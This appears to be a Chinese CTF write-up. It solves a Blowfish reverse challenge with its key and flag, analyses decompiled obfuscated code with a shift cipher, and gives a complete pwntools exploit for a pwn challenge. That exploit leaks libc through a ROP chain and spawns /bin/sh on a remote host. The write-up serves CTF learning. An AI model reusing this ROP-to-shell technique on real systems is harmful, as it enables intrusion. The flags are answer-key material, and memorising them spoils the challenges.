Reverse
little_fish
程序校验了格式 flag{}
然后用一个函数对flag内的内容进行加密
通过搜索常数,可以发现这是一个 blow_fish 加密算法,所以用在线工具解密即可
dump密文的脚本:
#include<stdlib.h>
int enc[] = {16 , 181 , 42 , 236 , 176 , 80 , 177 , 35 , 64 , 58 , 39 , 124 , 30 , 83 , 41 , 31 , 177 , 21 , 54 , 40 , 251 , 17 , 191 , 225 , 50 , 30 , 197 , 18 , 228 , 96 , 172 , 64};
int main(){
//打印密文的十六进制
for(int i = 0; i < 32; i++){
printf("%x",enc[i]);
}
// flag = 62c7169f44a890609d87f8810424bdbb
}
key: R3v3rs3!
密文hex:
10 B5 2A EC B0 50 B1 23 40 3A 27 7C 1E 53 29 1F
B1 15 36 28 FB 11 BF E1 32 1E C5 12 E4 60 AC 40
https://webnet77.net/cgi-bin/helpers/blowfish.pl
ollvm
拿到文件之后发现被混淆,去一下混淆。
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rsi
__int64 v4; // rdx
int v5; // ecx
int v6; // ecx
char v7; // di
int v8; // edx
int v9; // ecx
char v10; // di
int v11; // ecx
int v12; // ecx
char v13; // di
int v14; // edx
int v15; // ecx
char v16; // di
__int64 v17; // rcx
bool v19; // [rsp+F8h] [rbp-58h]
bool v20; // [rsp+F9h] [rbp-57h]
bool v21; // [rsp+FAh] [rbp-56h]
bool judge_2; // [rsp+FBh] [rbp-55h]
char flag[40]; // [rsp+100h] [rbp-50h]
int v24; // [rsp+128h] [rbp-28h]
int var_j; // [rsp+12Ch] [rbp-24h]
int var_i; // [rsp+130h] [rbp-20h]
int v27; // [rsp+134h] [rbp-1Ch]
int v28; // [rsp+138h] [rbp-18h]
int i; // [rsp+13Ch] [rbp-14h]
int const_8; // [rsp+140h] [rbp-10h]
int const_4; // [rsp+144h] [rbp-Ch]
int v32; // [rsp+148h] [rbp-8h]
bool judge_1; // [rsp+14Ch] [rbp-4h]
bool v34; // [rsp+14Dh] [rbp-3h]
bool v35; // [rsp+14Eh] [rbp-2h]
bool v36; // [rsp+14Fh] [rbp-1h]
v32 = 0;
const_4 = 4;
const_8 = 8;
i = 0;
v28 = 0;
v27 = 0;
var_i = 0;
var_j = 1;
v24 = 32;
__isoc99_scanf("%s", flag, envp);
v3 = &a[8 * v27];
v3[var_i] = flag[0];
while ( 1 )
{
v4 = (unsigned int)var_j;
LOBYTE(v3) = var_j < v24;
if ( var_j >= v24 )
break;
while ( 1 )
{
if ( var_i + 1 < const_8 )
{
v3 = (const char *)(8LL * v27);
v5 = a[(_QWORD)v3 + 1 + var_i];
judge_1 = v5 == 0;
judge_2 = v5 == 0;
}
if ( !judge_2 )
break;
v6 = var_j++;
v7 = flag[v6];
v3 = (const char *)++var_i;
a[8 * v27 + var_i] = v7;
}
while ( 1 )
{
if ( v27 + 1 < const_4 )
{
v3 = (const char *)(8LL * (v27 + 1));
v8 = a[(_QWORD)v3 + var_i];
v34 = v8 == 0;
v21 = v8 == 0;
}
if ( !v21 )
break;
v9 = var_j++;
v10 = flag[v9];
v3 = (const char *)var_i;
a[8 * ++v27 + var_i] = v10;
}
while ( 1 )
{
if ( var_i - 1 >= 0 )
{
v3 = (const char *)(8LL * v27);
v11 = a[(_QWORD)v3 - 1 + var_i];
v35 = v11 == 0;
v20 = v11 == 0;
}
if ( !v20 )
break;
v12 = var_j++;
v13 = flag[v12];
v3 = (const char *)--var_i;
a[8 * v27 + var_i] = v13;
}
while ( 1 )
{
if ( v27 - 1 >= 0 )
{
v3 = (const char *)(8LL * (v27 - 1));
v14 = a[(_QWORD)v3 + var_i];
v36 = v14 == 0;
v19 = v14 == 0;
}
if ( !v19 )
break;
v15 = var_j++;
v16 = flag[v15];
v3 = (const char *)var_i;
a[8 * --v27 + var_i] = v16;
}
}
for ( i = 1; i < 4; ++i )
{
v3 = &str[8 * i];
if ( strncmp(&a[8 * i], v3, 8uLL) )
{
printf("Wrong!\n", v3, v4, v17, 628939125LL, 4033332667LL);
return -1;
}
}
LOBYTE(v4) = i < 4;
printf("Correct!\n", v3, v4, 247720033LL);
return 0;
}
之后发现程序中并没有其他的类似于S表的东西。
而是简单地对输入地字符串进行了移位操作,推测可能就是一个简单的移位算法。后来我又尝试了几个其他的字符串,发现确实是这个规律,那么直接手动一位一位地将flag推出来即可。
[input] 0123456789abcdefghijklmnopqrstuv
[output] 01234567jklmnop8ivutsrq9hgfedcba
[encrypt] f033bad9f0753561c3c46555dc0cf40a
[decrypt] ?
Pwn
autoctf
一个简单的利用格式化字符串进行栈溢出的题目
构造ROP链从而泄露libc的基址
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('183.129.189.61', 53506)
printf_addr = 0x401152
rsi_r15_ret = 0x0000000000401269
rdi_ret = 0x000000000040126b
p.recvuntil('[DEBUG] Fatal Error At: ')
leak_addr = int('0x'+p.recv(12), 16) + 0x20
success("leak_addr:" + hex(leak_addr))
#gdb.attach(p, 'b *0x4011D7\nc')
payload1 = 'a' + 'fake_rbp'
payload1 += p64(rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload1 += p64(printf_addr)
p.sendlineafter('Press any key to quit...\n\n', payload1)
puts_addr = u64(p.recv(6)+'\x00\x00')
success('puts_addr:' + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
payload2 = 'b' + 'fake_rbp'
payload2 += p64(rdi_ret) + p64(leak_addr+0x38-0x100) + p64(sys_addr) + '/bin/sh'
p.sendlineafter('Press any key to quit...\n\n', payload2)
p.interactive()
Comments | NOTHING